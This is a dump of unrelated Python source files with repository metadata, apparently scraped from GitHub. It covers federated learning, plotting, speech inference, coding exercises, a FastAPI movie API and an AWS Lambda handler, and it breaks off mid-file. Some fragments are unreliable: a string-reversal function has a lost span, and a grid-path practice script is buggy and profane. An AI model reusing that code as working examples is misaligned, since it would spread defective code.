\"epochs\": str(2), # number of local epochs\n \"batch_size\": str(128),\n }\n return config\n\n\n# Start Ray simulation (a _default server_ will be created)\n# This example does:\n# 1. Downloads the Pathology MedMNIST dataset\n# 2. Partitions the dataset into N splits, where N is the total number of\n# clients. We refere to this as `pool_size`. The partition can be IID or non-IID\n# 3. Starts a Ray-based simulation where a % of clients are sample each round.\n# 4. After the M rounds end, the global model is evaluated on the entire testset.\n# Also, the global model is evaluated on the valset partition residing in each\n# client. This is useful to get a sense on how well the global model can generalise\n# to each client's data.\nif __name__ == \"__main__\":\n\n ### parse input arguments ###\n parser = argparse.ArgumentParser(description=\"Flower Simulation with PyTorch\")\n\n parser.add_argument(\"--num_client_cpus\", type=int, default=1)\n parser.add_argument(\"--num_rounds\", type=int, default=2)\n parser.add_argument(\"--train_with_dp\", action=\"store_true\", default=True)\n\n args = parser.parse_args()\n\n pool_size = 3 # number of dataset partions (= number of total clients)\n client_resources = {\n \"num_cpus\": args.num_client_cpus\n } # each client will get allocated 1 CPUs\n dp_config = {\n \"max_per_sample_grad_norm\": 10.0,\n \"noise_multiplier\": 1.5, # sigma\n \"secure_rng\": False,\n \"delta\": 1e-5,\n \"clip_per_layer\": False,\n }\n\n ### download dataset ###\n trainset, info = get_dataset(split=\"train\")\n testset, _ = get_dataset(split=\"test\")\n\n n_classes = len(info[\"label\"])\n n_channels = info[\"n_channels\"]\n\n criterion = torch.nn.CrossEntropyLoss()\n\n model = Net(num_classes=n_classes, in_channels=n_channels)\n model = fix_model_layers(model) if args.train_with_dp else model\n\n # TODO expose alpha param\n # partition dataset (use a large `alpha` to make it IID;\n # a small value (e.g. 1) will make it non-IID)\n # This will create a new directory called \"federated\": in the directory where\n # the base dataset lives. Inside it, there will be N=pool_size sub-directories each with # FIXME\n # its own train/set split.\n fed_dir = do_fl_partitioning(\n trainset,\n pool_size=pool_size,\n alpha=1000,\n num_classes=n_classes,\n val_ratio=0.1,\n )\n\n # configure the strategy\n strategy = fl.server.strategy.FedAvg(\n fraction_fit=1.0,\n min_fit_clients=2,\n min_available_clients=pool_size, # All clients should be available\n on_fit_config_fn=fit_config,\n eval_fn=centralised_eval_fn(\n testset,\n model=model,\n criterion=criterion\n ), # centralised testset evaluation of global model\n )\n\n def client_fn(cid: str):\n # create a single client instance\n return SimulatedFLClient(\n cid,\n fed_data_dir=fed_dir,\n model=model,\n criterion=criterion,\n data_flag=trainset.flag,\n with_dp=args.train_with_dp,\n dp_config=dp_config,\n )\n\n # (optional) specify ray config, set local_mode to true for serial debugging\n ray_config = {\"include_dashboard\": False, \"local_mode\": False}\n\n # start simulation\n fl.simulation.start_simulation(\n client_fn=client_fn,\n num_clients=pool_size,\n client_resources=client_resources,\n num_rounds=args.num_rounds,\n strategy=strategy,\n ray_init_args=ray_config,\n )\n","repo_name":"jopasserat/federated-learning-tutorial","sub_path":"main_fl.py","file_name":"main_fl.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"8079088805","text":"import os\nimport math\nimport argparse\nimport matplotlib.pyplot as plt\nfrom collections import defaultdict\n\n\ndef parse(fname):\n data = defaultdict(list)\n for line in open(fname):\n library, _, build_time, search_elapsed, accuracy, index_size_kb = line.strip().split('\\t')\n data[library].append((float(accuracy), math.log(float(search_elapsed)), float(build_time), float(index_size_kb)))\n return data\n\n\ndef visualize_all(args, data, fname):\n # fig = plt.figure(figsize=(8, 12))\n fig = plt.figure(figsize=(12, 24))\n if args.title is not None:\n fig.suptitle(args.title, fontsize=20)\n\n ax1 = fig.add_subplot(4, 1, 1)\n draw_build_time(ax1, data)\n\n ax2 = fig.add_subplot(4, 1, 2)\n draw_index_size(ax2, data)\n\n ax3 = fig.add_subplot(4, 1, 3)\n draw_accuracy_elapsed(ax3, data)\n\n ax4 = fig.add_subplot(4, 1, 4)\n draw_accuracy_elapsed(ax4, data, limit=0.8)\n\n fig.tight_layout()\n if args.title is not None:\n fig.subplots_adjust(top=0.95)\n fig.savefig(fname)\n\n\ndef visualize_auccracy_only(args, data, fname):\n fig = plt.figure(figsize=(12, 6))\n if args.title is not None:\n fig.suptitle(args.title, fontsize=20)\n\n ax = fig.add_subplot(1, 1, 1)\n draw_accuracy_elapsed(ax, data)\n\n fig.tight_layout()\n if args.title is not None:\n fig.subplots_adjust(top=0.89)\n fig.savefig(fname)\n\n\ndef visualize(args, data, fname):\n if args.accuracy_only:\n visualize_auccracy_only(args, data, fname)\n else:\n visualize_all(args, data, fname)\n\n\ndef draw_build_time(ax, data):\n ax.set_title('build time', fontsize=15)\n keys = data.keys()\n y = [max([t for _, _, t, _ in data[k]]) for k in keys]\n x = list(range(len(y)))\n ax.bar(x, y)\n ax.set_xticks(x)\n ax.set_xticklabels(keys, fontsize=12)\n ax.set_ylabel('elapsed(sec)', fontsize=12)\n\n\ndef draw_accuracy_elapsed(ax, data, limit=0.5):\n ax.set_title('Recall-elasped sec tradeoff', fontsize=15)\n for library, values in data.items():\n values = sorted(filter(lambda x: x[0] > limit, values))\n ax.plot([acc for acc, _, _, _ in values], [elapsed for _, elapsed, _, _ in values],\n label=library, marker='o', markersize=3)\n ax.set_xlabel('accuracy', fontsize=12)\n ax.set_ylabel('elapsed(log scale)', fontsize=12)\n ax.legend(loc='best')\n\n\ndef draw_index_size(ax, data):\n ax.set_title('index size(kb)', fontsize=15)\n keys = data.keys()\n y = [min([kb for _, _, _, kb in data[k]]) for k in keys]\n x = list(range(len(y)))\n ax.bar(x, y)\n ax.set_xticks(x)\n ax.set_xticklabels(keys, fontsize=12)\n ax.set_ylabel('kb', fontsize=12)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--title', help='title of figure')\n parser.add_argument('--accuracy_only', help='draw accuracy only', action='store_true')\n parser.add_argument('result', help='result file path')\n args = parser.parse_args()\n\n if not os.path.exists(args.result):\n raise ValueError(\"Wrong result file path\")\n\n visualize(args, parse(args.result), os.path.splitext(args.result)[0] + '.png')\n","repo_name":"kakao/n2","sub_path":"benchmarks/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"78"} +{"seq_id":"42180869777","text":"import argparse\nimport functools\nimport time\n\nfrom data_utils.audio_process import AudioInferProcess\nfrom utils.predict import Predictor\nfrom utils.audio_vad import crop_audio_vad\nfrom utils.utility import add_arguments, print_arguments\n\nparser = argparse.ArgumentParser(description=__doc__)\nadd_arg = functools.partial(add_arguments, argparser=parser)\nadd_arg('wav_path', str, './dataset/test.wav', \"预测音频的路径\")\nadd_arg('is_long_audio', bool, False, \"是否为长语音\")\nadd_arg('use_gpu', bool, True, \"是否使用GPU预测\")\nadd_arg('enable_mkldnn', bool, False, \"是否使用mkldnn加速\")\nadd_arg('to_an', bool, True, \"是否转为阿拉伯数字\")\nadd_arg('beam_size', int, 300, \"集束搜索解码相关参数,搜索的大小,范围:[5, 500]\")\nadd_arg('alpha', float, 1.2, \"集束搜索解码相关参数,LM系数\")\nadd_arg('beta', float, 0.35, \"集束搜索解码相关参数,WC系数\")\nadd_arg('cutoff_prob', float, 0.99, \"集束搜索解码相关参数,剪枝的概率\")\nadd_arg('cutoff_top_n', int, 40, \"集束搜索解码相关参数,剪枝的最大值\")\nadd_arg('mean_std_path', str, './dataset/mean_std.npz', \"数据集的均值和标准值的npy文件路径\")\nadd_arg('vocab_path', str, './dataset/zh_vocab.txt', \"数据集的词汇表文件路径\")\nadd_arg('model_dir', str, './models/infer/', \"导出的预测模型文件夹路径\")\nadd_arg('lang_model_path', str, './lm/zh_giga.no_cna_cmn.prune01244.klm', \"集束搜索解码相关参数,语言模型文件路径\")\nadd_arg('decoding_method', str, 'ctc_greedy', \"结果解码方法,有集束搜索(ctc_beam_search)、贪婪策略(ctc_greedy)\", choices=['ctc_beam_search', 'ctc_greedy'])\nargs = parser.parse_args()\nprint_arguments(args)\n\n\n# 获取数据生成器,处理数据和获取字典需要\naudio_process = AudioInferProcess(vocab_filepath=args.vocab_path, mean_std_filepath=args.mean_std_path)\n\npredictor = Predictor(model_dir=args.model_dir, audio_process=audio_process, decoding_method=args.decoding_method,\n alpha=args.alpha, beta=args.beta, lang_model_path=args.lang_model_path, beam_size=args.beam_size,\n cutoff_prob=args.cutoff_prob, cutoff_top_n=args.cutoff_top_n, use_gpu=args.use_gpu,\n enable_mkldnn=args.enable_mkldnn)\n\n\ndef predict_long_audio():\n start = time.time()\n # 分割长音频\n audios_path = crop_audio_vad(args.wav_path)\n texts = ''\n scores = []\n # 执行识别\n for i, audio_path in enumerate(audios_path):\n score, text = predictor.predict(audio_path=audio_path, to_an=args.to_an)\n texts = texts + ',' + text\n scores.append(score)\n print(\"第%d个分割音频, 得分: %d, 识别结果: %s\" % (i, score, text))\n print(\"最终结果,消耗时间:%d, 得分: %d, 识别结果: %s\" % (round((time.time() - start) * 1000), sum(scores) / len(scores), texts))\n\n\ndef predict_audio():\n start = time.time()\n score, text = predictor.predict(audio_path=args.wav_path, to_an=args.to_an)\n print(\"消耗时间:%dms, 识别结果: %s, 得分: %d\" % (round((time.time() - start) * 1000), text, score))\n\n\nif __name__ == \"__main__\":\n if args.is_long_audio:\n predict_long_audio()\n else:\n predict_audio()\n","repo_name":"yeyupiaoling/PaddlePaddle-DeepSpeech","sub_path":"infer_path.py","file_name":"infer_path.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","stars":568,"dataset":"github-code","pt":"78"} +{"seq_id":"15300084520","text":"#reverse strng \n\n# 1.using swap\ndef reverse_v1(self, strs: str):\n post_idx = len(strs) - 1\n pre_idx = 0\n\n while post_idx - pre_idx > 0:\n temp = strs[post_idx]\n strs[post_idx] = strs[pre_idx]\n strs[pre_idx] = temp\n\n post_idx = post_idx - 1\n pre_idx = pre_idx + 1\n\n# 2.using swap\ndef reverse_v2(self, s: List[str]) -> None:\n left, right = 0, len(s) - 1\n while left None:\n s.reverse()\n","repo_name":"spelld77/algorithm_problems","sub_path":"reverse_string.py","file_name":"reverse_string.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71388872573","text":"import random\n\n\ndef print_2d_array(arr):\n for row in arr:\n for item in row:\n print(item, end='\\t') # 각 요소를 탭으로 구분하여 출력\n print() # 한 행이 끝나면 개행하여 다음 행 출력\n\n\ndef matrix_path2(n):\n c = [[random.randint(1, 11) for _ in range(n+1)] for _ in range(n+1)] # n+1 * n+1 배열, 범퍼 만들어줘야해서 , 각 값은 1~10\n for i in range(n+1):\n c[i][0] = 0\n for j in range(1,n+1):\n c[0][j] = 0\n print_2d_array(c)\n print(\"\\n\")\n for i in range(1,n+1):\n for j in range(1,n+1):\n c[i][j] = c[i][j] + max(c[i-1][j],c[i][j-1])\n\n print_2d_array(c)\n return c[i][j]\n\nprint(matrix_path2(4))\n\n","repo_name":"yun-goon/KW_algorithm","sub_path":"matrix_path.py","file_name":"matrix_path.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14815763464","text":"import math\nimport sys\n\nfrom itertools import islice \n\nsys.setrecursionlimit(30000)\n#define n \nn=2\n\n#Create 2D intitak List\ntemp = [ 0 for x in range(n)]\nMatrix = [temp for x in range(n)]\n#print(Matrix)\n\ntemp = [1 for x in range(n)]\nrouteCheck = [ temp for x in range(n)]\n\n\n# 1D to 2D list convertor\ndef convert(lst, var_lst): \n it = iter(lst) \n return [list(islice(it, i)) for i in var_lst]\n\n\n# list convertor pattern init\nvar_lst = [ n for x in range (n)]\n\n\n\n#init pattern and roadMap\npattern = []\nroadMap =[]\nregistered =[]\ntempRoad = []\nmemory = []\nc=1\nfor x in range(n*n):\n pattern.append(0)\n roadMap.append(c)\n c+=1\n\n\n#first and last step \nstep = (math.factorial((n-1)*2))/(math.factorial(n-1)*math.factorial(n-1))\n#print(step)\npattern[0] = pattern [(n*n)-1] = step\n\n\n#OTHER steps\nfor x in range(n):\n for y in range(n):\n if ((x==0 or y==0) and (x!=y)):\n step = math.factorial(2*n-2-x-y)/(math.factorial(n-1-x)*math.factorial(n-1-y))\n Matrix[x][y] = step \n pattern [x*n + y]= step\n #print (x , 'x and y',y , 'step', step )\n if (((x==n-1) or (y==n-1) or (x>0 and y>0)) and not(x==y==n-1)):\n s = math.factorial(x+y)/(math.factorial(x)*math.factorial(y))\n tep = math.factorial(2*n-2-x-y)/(math.factorial(n-1-x)*math.factorial(n-1-y))\n # print(s,'s',tep,'tep')\n step = s*tep\n pattern[x*n +y] = step\n\n\n\nMatrix = convert(pattern , var_lst)\nRoadMapMatrix = convert(roadMap , var_lst)\n\n\nprint(pattern)\nprint(roadMap)\n#print(RoadMapMatrix[3][3])\n\n\ndef CheckNext(x,y,direction):\n\n if(direction == 'R' and (n*x+y+1) != n*n):\n print(n*x+y+1,'pattern index','x=',x,'y=',y)\n \n if(pattern[n*x+y+1]!=0 and pattern[n*x+y+1] != -1):\n pattern[x*n+y] = pattern[x*n+y]-1\n return True\n elif(direction == 'U'):\n #print(pattern[n*x+y+1])\n if (pattern[n*x+y+n]!=0 and pattern[n*x+y+n] != -1 ):\n pattern[x*n+y] = pattern[x*n+y]-1\n return True\n elif(pattern[n*x+y+n] == -1):\n pattern[x*n+y] = 0\n return False\n \n else:\n pattern[x*n+y] = pattern[x*n+y]-1\n return True\n\ndef CheckRepeat(tempRoad):\n print('PATTERNG',pattern)\n if (len(registered) != 0):\n if(len(memory) == 0): \n return True\n #elif (list(memory[len(memory)-1]) != tempRoad ):\n elif (tuple(tempRoad) in list(memory)):\n print(\"CHECK REPEAT:\",list(memory[len(memory)-1]) ,' and',tempRoad)\n return False\n else:\n print(memory[len(memory)-1],'memory')\n print(tempRoad,'temproad')\n print(registered,'regex')\n print('$$$$$$$$')\n return True\n else:\n return True\n\n\ndef RightMove(x,y):\n print('right')\n # print(tempRoad)\n print(registered,'registerd')\n print(pattern,'pattern FINAL')\n if(x==0 and y==0 and CheckNext(x,y,'R')): # (0,0) point\n tempRoad.append(RoadMapMatrix[x][y])\n print('001here')\n # print(pattern)\n #tempRoad.append(RoadMapMatrix[x][y+1])\n #pattern[x*n+y] = pattern[x*n+y]-1\n y+=1\n #pattern[x*n+y] = pattern[x*n+y]-1\n RightMove(x,y)\n if(x==0 and y==0 and not(CheckNext(x,y,'R')) ): # (0,0) point\n #pattern[x*n+y] = pattern[x*n+y]-1\n UpMove(x,y)\n\n if(x==n-1 and y==n-2): #Pivot point to register\n print('now here 123')\n #this is also check repeat ??? \n tempRoad.append(RoadMapMatrix[x][y])\n \n if(CheckRepeat(tempRoad)):\n if (CheckNext(x,y,'R')):\n # pattern[x*n+y] = pattern[x*n+y]-1\n memory.append(tuple(tempRoad))\n tempRoad.append(RoadMapMatrix[x][y+1])\n registered.append(tuple(tempRoad))\n tempRoad.clear()\n x=0\n y=0\n #should call move again here !!!!!!!!!!!!!! otherwise its only one move\n RightMove(x,y)\n else:\n while(tempRoad[len(tempRoad)-1]-1 != tempRoad[len(tempRoad)-2]):\n pattern[x*n+y]+=1\n x-=1\n tempRoad.pop()\n \n\n pattern[x*n+y]+=1\n y-=1\n tempRoad.pop()\n UpMove(x,y)\n print ('final position')\n print('final temproad',tempRoad,'pattern',pattern)\n print('register:',registered)\n #TODO: write the repeat ig\n\n if(x==n-2 and y==n-1): #Pivot point 2 to register\n print('002here','x=',x,'y=',y)\n tempRoad.append(RoadMapMatrix[x][y])\n \n if(CheckRepeat(tempRoad)):\n if(CheckNext(x,y,'U')):\n #pattern[x*n+y] = pattern[x*n+y]-1\n memory.append(tuple(tempRoad))\n print('fucking memory? ',memory)\n tempRoad.append(RoadMapMatrix[x+1][y])\n registered.append(tuple(tempRoad))\n tempRoad.clear()\n print('002here','temp',tempRoad,'registered',registered,'memory',memory)\n x=0\n y=0\n RightMove(x,y)\n else:\n print('@@@@@')\n tempRoad.pop()\n y-=1\n UpMove(x,y)\n\n\n if( x!=0 and x int:\n value_map = {}\n result = 0\n left = 0\n for right in range(len(s)):\n if s[right] not in value_map:\n value_map[s[right]] = 0\n value_map[s[right]] += 1\n window_length = right-left+1\n max_freq = max(value_map.values())\n if window_length-max_freq <= k:\n result += 1\n else:\n value_map[s[left]] = value_map[s[left]]-1\n left += 1\n return result\n\n # 1st try\n # result = 0\n # temp_list = []\n # for l in range(len(s)):\n # i = k\n # for r in range(0, len(s)):\n # if s[l] != s[r] and i>0:\n # temp_list.append(s[l])\n # i -= 1\n # elif s[l] == s[r] and i>0:\n # temp_list.append(s[r])\n # result = max(result, len(temp_list))\n # temp_list.clear()\n # return result\n\n\nprint(characterReplacement(\"ABAB\", 2)) # 4\nprint(characterReplacement(\"AABABBA\", 1)) # 1\n","repo_name":"arun0908/Python","sub_path":"LeetCode/longest_repeat_char_replacement.py","file_name":"longest_repeat_char_replacement.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8195950605","text":"import numpy as np\nimport mlrose_hiive as mlrose\n\nfrom mlrose_hiive import ContinuousPeaksGenerator\n\nrandom_seed = 42\n# Set up the problem\n\nfor i in [25, 50, 100, 200]:\n problem = ContinuousPeaksGenerator().generate(seed=random_seed, size=i)\n output_directory = \"./continuous_peaks_baseline_\"+str(i)\n\n # Randomized Hill Climbing\n\n rhc = mlrose.RHCRunner(problem=problem, generate_curves=True,\n experiment_name=\"RHC_four_peaks\",\n output_directory=output_directory,\n seed=random_seed,\n iteration_list=2 ** np.arange(11),\n max_attempts=500,\n restart_list=[25, 75, 100])\n rhc_run_stats, rhc_run_curves = rhc.run()\n\n # Simulated Annealing\n\n sa = mlrose.SARunner(problem=problem,\n experiment_name=\"SA_four_peaks\",\n output_directory=output_directory,\n seed=random_seed,\n iteration_list=2 ** np.arange(11),\n max_attempts=500,\n temperature_list=[1, 10, 25, 50, 100, 250, 500, 750, 1000],\n decay_list=[mlrose.ExpDecay, mlrose.GeomDecay, mlrose.ArithDecay])\n sa_run_stats, sa_run_curves = sa.run()\n\n # Genetic Algorithm\n\n ga = mlrose.GARunner(problem=problem,\n experiment_name=\"GA_four_peaks\",\n output_directory=output_directory,\n seed=random_seed,\n iteration_list=2 ** np.arange(11),\n max_attempts=500,\n population_sizes=[100, 200, 300],\n mutation_rates=[0.1, 0.25, 0.4, 0.55, 0.70])\n ga_run_stats, ga_run_curves = ga.run()\n\n # MIMIC\n\n mimic = mlrose.MIMICRunner(problem=problem,\n experiment_name=\"MIMIC_four_peaks\",\n output_directory=output_directory,\n seed=random_seed,\n iteration_list=2 ** np.arange(11),\n population_sizes=[100, 200, 300],\n max_attempts=500,\n keep_percent_list=[0.25, 0.5, 0.75],\n use_fast_mimic=True)\n mimic_run_stats, mimic_run_curves = mimic.run()\n","repo_name":"otevet/randomized_optimization","sub_path":"continuous_peaks_problem.py","file_name":"continuous_peaks_problem.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6950477853","text":"from fastapi import FastAPI\nimport pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\napp = FastAPI(title='API FILMS',description='Here, I will recomend you the bes movies', version='1.1')\n#http://127.0.0.1:8000\n'''''\nDeben crear 6 funciones para los endpoints que se consumirán en la API, recuerden que deben tener un decorador por cada una (@app.get(‘/’)).\n'''\n@app.get(\"/\")\nasync def welcome():\n return \"WELCOME!!! HERE YOU WILL FIND THE BEST MOVIES EVER !!!\"\n\n@app.get(\"/index\")\nasync def index():\n return \"Function for searching: 1. peliculas_mes 2. peliculas_dia, 3. franquicia, 4. peliculas_pais, 5.productoras y 6.retorno\"\n\n#loading Data\ndf_movies= pd.read_csv(\"datasets//new_movies_dataset.csv\" ,parse_dates=['release_date'])\ndf_credits = pd.read_csv('datasets//new_credits.csv')\n'''''\n1. 'Se ingresa el mes y la funcion retorna la cantidad de peliculas que se estrenaron ese mes (nombre del mes, en str, ejemplo 'enero') \nhistoricamente'\n'''\n\n@app.get('/cantidad_filmaciones_mes/{mes}')\ndef cantidad_filmaciones_mes(mes:str):\n try:\n df_movies_copy = df_movies.copy()\n df_movies_copy['month'] = df_movies_copy.release_date.dt.month_name()\n # Dicctionary traduction\n translation_dict = {'January': 'enero', 'February': 'febrero', 'March': 'marzo', 'April': 'abril', 'May': 'mayo',\n 'June':'junio','July':'julio','August': 'agosto','September': 'septiembre','October': 'octubre',\n 'November': 'noviembre','December': 'diciembre'}\n # Applying traduction\n df_movies_copy['month'] = df_movies_copy['month'].replace(translation_dict)\n df_movies_copy = df_movies_copy.applymap(lambda x: x.lower() if isinstance(x, str) else x)\n result = df_movies_copy[df_movies_copy.month==mes]['title'].count()\n return {'month':mes,'quantity':int(result)}\n except Exception as e:\n return {'error': str(e)}\n''''' \n#2. 'Se ingresa el dia y la funcion retorna la cantidad de peliculas que se estrenaron ese dia (de la semana, en str, ejemplo 'lunes')\n historicamente' \n'''\n@app.get(\"/cantidad_filmaciones_dia/{dia}\")\ndef cantidad_filmaciones_dia(dia:str):\n try: \n df_movies_copy = df_movies.copy()\n df_movies_copy['day'] = df_movies_copy.release_date.dt.day_name()\n # Dicctionary traduction\n translation_dict = {'Monday': 'lunes',\n 'Tuesday': 'martes',\n 'Wednesday': 'miercoles',\n 'Thursday': 'jueves',\n 'Friday': 'viernes',\n 'Saturday': 'sabado',\n 'Sunday': 'domingo'}\n # Applying traduction\n df_movies_copy['day'] = df_movies_copy['day'].replace(translation_dict)\n df_movies_copy = df_movies_copy.applymap(lambda x: x.lower() if isinstance(x, str) else x)\n result = df_movies_copy[df_movies_copy.day==dia]['title'].count()\n return {'day':dia,'quantity':int(result)}\n except Exception as e:\n return {'error': str(e)}\n'''\n3. Se ingresa la franquicia, retornando la cantidad de peliculas, ganancia total y promedio\n'''\n@app.get(\"/score_titulo/{titulo}\")\ndef score_titulo(titulo:str):\n try: \n df_movies_copy = df_movies.copy()\n year = df_movies_copy.release_year[df_movies_copy.title == titulo].iloc[0]\n popularity = df_movies_copy.popularity[df_movies_copy.title == titulo].iloc[0]\n return {'title': titulo, 'year':int(year), 'popularity':float(popularity)}\n except Exception as e:\n return {'error': str(e)}\n'''\n4. 'Ingresas el pais, retornando la cantidad de peliculas producidas en el mismo'\n'''\n@app.get(\"/votos_titulo/{titulo}\")\ndef votos_titulo(titulo:str):\n try:\n df_movies_copy = df_movies.copy()\n vote_count_ = df_movies_copy.vote_count[df_movies_copy.title == titulo].iloc[0]\n vote_average_ = df_movies_copy.vote_average[df_movies_copy.title == titulo].iloc[0]\n if vote_count_< 2000 :\n return {'the amount of votes of this film are less than 2000'}\n else:\n return {'title': titulo, 'total vote':vote_count_, 'vote average':vote_average_}\n except Exception as e:\n return {'error': str(e)}\n'''\n5. Ingresas la productora, retornando la ganancia total y la cantidad de peliculas que produjeron''\n'''\n@app.get(\"/get_actor/{nombre_actor}\")\ndef get_actor(nombre_actor:str):\n try:\n df_movies_copy = df_movies.copy()\n df_credits_copy = df_credits.copy()\n ids = df_credits_copy[df_credits_copy['cast'].str.contains(nombre_actor, na=False)]['id'].tolist() #ids film from actor\n quantity_films = len(ids)\n return_ = df_movies_copy['return'][df_movies_copy.id.isin(ids)]\n total_return = return_.sum() \n average_return = return_.mean() \n return {'actor':nombre_actor, 'cantidad_filmaciones':quantity_films, \n 'retorno_total':total_return, 'retorno_promedio':average_return}\n except Exception as e:\n return {'error': str(e)}\n'''\n6.Ingresas la pelicula, retornando la inversion, la ganancia, el retorno y el año en el que se lanzo''\n'''\n@app.get(\"/get_director/{nombre_director}\")\ndef get_director(nombre_director:str):\n try:\n df_movies_copy = df_movies.copy()\n df_credits_copy = df_credits.copy()\n ids = df_credits_copy[df_credits_copy['crew'].str.contains(nombre_director, na=False)]['id'].tolist()\n return_film = df_movies_copy['return'][df_movies_copy.id.isin(ids)].tolist()\n name_film = df_movies_copy['title'][df_movies_copy.id.isin(ids)].tolist()\n date_film = df_movies_copy['release_year'][df_movies_copy.id.isin(ids)].tolist()\n budget_film = df_movies_copy['budget'][df_movies_copy.id.isin(ids)].tolist()\n revenue_film = df_movies_copy['revenue'][df_movies_copy.id.isin(ids)].tolist()\n total_return = df_movies_copy['return'][df_movies_copy.id.isin(ids)].sum()\n return{'director':nombre_director, 'total_return_director':total_return, \n 'films':name_film, 'year':date_film, 'film_retorn':return_film, \n 'budget_film':budget_film, 'revenue_film':revenue_film}\n except Exception as e:\n return {'error': str(e)}\n##########recommendation function\n@app.get('/recomendacion/{titulo}')\ndef recomendacion(titulo:str):\n try:\n df_movies_copy = df_movies.copy()\n # Loading just two columns from CSV file on pandas.\n overview = df_movies_copy[['title','overview']]\n \n # Getting the description of the movie title given.\n overview = df_movies_copy[df_movies_copy['title'] == titulo]['overview'].str.strip()[0]\n\n # Computing TF-IDF features for all oveviews.\n tfidf = TfidfVectorizer()\n tfidf_matrix = tfidf.fit_transform(df_movies_copy['overview'])\n\n # Computing cosine similarities between overview and movie titles and all the other overviews.\n tfidf_similarities = cosine_similarity(tfidf_matrix, tfidf.transform([overview]))\n\n # getting top 10 indexes of films wich best matech according to TF-IDF.\n tfidf_similar_movie_indices = tfidf_similarities.argsort(axis=0)[-10:][::-1].flatten()\n\n # Turn indexes into movie titles \n tfidf_similar_movie_titles = df_movies_copy.loc[tfidf_similar_movie_indices, 'title'].tolist()\n respuesta = tfidf_similar_movie_titles[1:6]\n return {'recommendation list': respuesta}\n except Exception as e:\n return {'error': str(e)}\n ","repo_name":"WilliamAgurto/Project_001","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16106820833","text":"from pyglet.graphics import TextureGroup\r\nfrom pyglet import image\r\n## Documentation for Block.\r\n# @brief Module for creating Block object.\r\n\r\nclass Block(object):\r\n## @brief Block module\r\n# @details Creat a block instance with name, coordinates, texture and specify whether it's destroyable\r\n\r\n def __init__(self,name, top, bottom, side, size, texturePath,destroyable = True):\r\n ## @brief Initializer\r\n # @param top,bottom,side: the coordinates of the left corner for each side on the texture image\r\n # @param size: the size of the image\r\n self.name = name\r\n self.coordinates = self._tex_coords(top, bottom, side, size)\r\n self.texture = TextureGroup(image.load(texturePath).get_texture())\r\n self.destroyable = destroyable\r\n\r\n\r\n def __eq__(self, other):\r\n ## @brief To decide whether the name of this block equals another\r\n # @return True for equals and False for not\r\n return self.name == other.name\r\n\r\n def _tex_coords(self, top, bottom, side, size):\r\n ## @brief collect coordinates on texture image for the top, bottom and side of each block\r\n # @return List of the texture squares for the top, bottom and side\r\n top = self._tex_coord(*top,n = size)\r\n bottom = self._tex_coord(*bottom, n = size)\r\n side = self._tex_coord(*side, n = size)\r\n result = []\r\n result.extend(top)\r\n result.extend(bottom)\r\n result.extend(side * 4)\r\n return result\r\n\r\n def _tex_coord(self, x, y, n):\r\n ## @brief convert the size to coordinates in texture image\r\n # @return the bounding vertices of the texture square\r\n m = 1.0 / n\r\n dx = x * m\r\n dy = y * m\r\n return dx, dy, dx + m, dy, dx + m, dy + m, dx, dy + m\r\n","repo_name":"RexWangSida/CraftMaster","sub_path":"CraftMasterGame/src/block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"78"} +{"seq_id":"74594702010","text":"import boto3\nimport json\nimport logging\nfrom services import decimalencoder\nimport time\nimport uuid\nimport os\n\ndef handler(event, context):\n data = json.loads(event['body'])\n\n if 'branch_id' not in data:\n logging.error(\"Validation Failed\")\n response = {\n \"statusCode\": 402,\n \"body\": json.dumps({\"message\": \"branch_id is required\"})\n }\n return response\n \n if 'license_plate' not in data:\n logging.error(\"Validation Failed\")\n response = {\n \"statusCode\": 402,\n \"body\": json.dumps({\"message\": \"license_plate is required\"})\n }\n return response\n\n try:\n response_register_sale = register_sale(data['license_plate'], data['branch_id'], data['elapsed_minutes'], data['price'])\n response_update_plate_status = update_plate_status(data['license_plate'], data['branch_id'])\n publish_event(response_register_sale)\n response = {\n \"statusCode\": 200,\n \"headers\": {\n \"Content-Type\": \"application/json\"\n },\n \"body\": json.dumps({\"message\": \"Sale registered\", \n \"sale\": response_register_sale, \n \"license_plate\": response_update_plate_status})\n }\n return response\n \n except Exception as e:\n print(e)\n response = {\n \"statusCode\": 500,\n \"headers\": {\n \"Content-Type\": \"application/json\"\n },\n \"body\": json.dumps({\"message\": \"Could not save sale\"})\n }\n return response\n \ndef register_sale(license_plate, branch, elapsed_minutes, price):\n client = boto3.client(\"dynamodb\")\n table_name = os.environ[\"SALES_TABLE_NAME\"]\n id = str(uuid.uuid4())\n response = client.put_item(\n TableName=table_name,\n Item={\n \"branch_id\": {\"S\": branch},\n \"sale_id\": {\"S\": id},\n \"license_plate\": {\"S\": license_plate},\n \"elapsed_minutes\": {\"N\": str(elapsed_minutes)},\n \"price\": {\"N\": str(price)}\n }\n )\n\n return {\n \"branch_id\": branch,\n \"sale_id\": id,\n \"license_plate\": license_plate,\n \"elapsed_minutes\": str(elapsed_minutes),\n \"price\": str(price)\n }\n\ndef update_plate_status(license_plate, branch):\n client = boto3.client(\"dynamodb\")\n table_name = os.environ[\"LICENSE_PLATES_TABLE_NAME\"]\n \n update_expression = \"SET #status_field = :status_value\"\n expression_attribute_names = 